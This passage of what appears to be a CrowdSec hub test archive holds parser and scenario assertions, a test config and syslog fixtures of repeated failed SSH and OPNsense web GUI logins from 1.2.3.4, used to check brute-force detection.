results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33174" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["seq_id"] == "9" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-01-19T14:23:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["pid"] == "14281" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["seq_id"] == "11" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33176" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:57+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-01-19T14:23:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:57Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["pid"] == "50941" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33178" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["seq_id"] == "13" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2022-01-19T14:23:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["pid"] == "65559" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["seq_id"] == "15" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33180" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["timestamp"] == "2022-01-19T14:23:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33182" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["seq_id"] == "17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:58+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["pid"] == "86580" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["timestamp"] == "2022-01-19T14:23:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["program"] == "sshd" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["sshd_client_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["sshd_invalid_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["pid"] == "5560" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["timestamp8601"] == "2022-01-19T14:23:59+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["message"] == "Invalid user tutu from 1.2.3.4 port 33184" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["seq_id"] == "19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["stuff1"] == "38" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Parsed["stuff2"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["timestamp"] == "2022-01-19T14:23:59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_path"] == "opnsense-sshd.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["log_type"] == "ssh_failed-auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["machine"] == "OPNsense.localdomain" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["service"] == "ssh" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Meta["target_user"] == "tutu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][9].Evt.Enriched["MarshaledTime"] == "2022-01-19T14:23:59Z" hub1/.tests/opnsense-sshd/scenario.assert000066400000000000000000000077451437532772500210100ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "opnsense-sshd.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[0].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "tutu" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-01-19T14:23:55Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "opnsense-sshd.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[1].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "tutu" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-01-19T14:23:56Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "opnsense-sshd.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[2].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "tutu" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-01-19T14:23:56Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "opnsense-sshd.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[3].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "tutu" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-01-19T14:23:57Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "opnsense-sshd.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[4].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "tutu" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-01-19T14:23:57Z" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "opnsense-sshd.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "ssh_failed-auth" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "OPNsense.localdomain" results[0].Overflow.Alert.Events[5].GetMeta("service") == "ssh" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "tutu" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-01-19T14:23:57Z" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/ssh-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/opnsense-web-auth/000077500000000000000000000000001437532772500165205ustar00rootroot00000000000000hub1/.tests/opnsense-web-auth/config.yaml000066400000000000000000000004431437532772500206520ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/crowdsecurity/opnsense-gui-logs.yaml scenarios: - ./scenarios/crowdsecurity/opnsense-gui-bf.yaml postoverflows: - "" log_file: opnsense-web-auth.log log_type: syslog labels: {} ignore_parsers: false hub1/.tests/opnsense-web-auth/opnsense-web-auth.log000066400000000000000000000016351437532772500225740ustar00rootroot00000000000000<35>1 2022-01-19T15:14:32+00:00 OPNsense.localdomain audit 24409 - [meta sequenceId="4"] /index.php: Web GUI authentication error for 'toto' from 1.2.3.4 <35>1 2022-01-19T15:14:32+00:00 OPNsense.localdomain audit 24409 - [meta sequenceId="4"] /index.php: Web GUI authentication error for 'toto' from 1.2.3.4 <35>1 2022-01-19T15:14:32+00:00 OPNsense.localdomain audit 24409 - [meta sequenceId="4"] /index.php: Web GUI authentication error for 'toto' from 1.2.3.4 <35>1 2022-01-19T15:14:32+00:00 OPNsense.localdomain audit 24409 - [meta sequenceId="4"] /index.php: Web GUI authentication error for 'toto' from 1.2.3.4 <35>1 2022-01-19T15:14:32+00:00 OPNsense.localdomain audit 24409 - [meta sequenceId="4"] /index.php: Web GUI authentication error for 'toto' from 1.2.3.4 <35>1 2022-01-19T15:14:32+00:00 OPNsense.localdomain audit 24409 - [meta sequenceId="4"] /index.php: Web GUI authentication error for 'toto' from 1.2.3.4 hub1/.tests/opnsense-web-auth/parser.assert000066400000000000000000000714641437532772500212530ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 6 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["pid"] == "24409" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["stuff1"] == "35" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["program"] == "audit" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["seq_id"] == "4" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["stuff1"] == "35" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["pid"] == "24409" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["program"] == "audit" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["seq_id"] == "4" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["program"] == "audit" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["seq_id"] == "4" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["pid"] == "24409" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["stuff1"] == "35" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "24409" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "audit" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["seq_id"] == "4" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["stuff1"] == "35" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["stuff1"] == "35" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "audit" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["seq_id"] == "4" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "24409" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "OPNsense.localdomain" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["seq_id"] == "4" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["stuff2"] == "1" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "24409" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "audit" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["stuff1"] == "35" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "OPNsense.localdomain" len(results["s01-parse"]["crowdsecurity/opnsense-gui-logs"]) == 6 results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Success == true results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["pid"] == "24409" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["program"] == "audit" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["seq_id"] == "4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["stuff1"] == "35" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Parsed["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Meta["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Meta["service"] == "opnsense-gui" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Success == true results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["message"] == "/index.php: Web GUI authentication error for 'toto' from 1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["program"] == "audit" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["stuff1"] == "35" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["timestamp8601"] == "2022-01-19T15:14:32+00:00" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["pid"] == "24409" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["seq_id"] == "4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Parsed["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Meta["service"] == "opnsense-gui" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Meta["username"] == "toto" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Meta["datasource_path"] == "opnsense-web-auth.log" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Meta["log_type"] == "opnsense-gui-failed-auth" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][1].Evt.Meta["machine"] == "OPNsense.localdomain" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Success == true results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["program"] == "audit" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["stuff2"] == "1" results["s01-parse"]["crowdsecurity/opnsense-gui-logs"][2].Evt.Parsed["username"] == 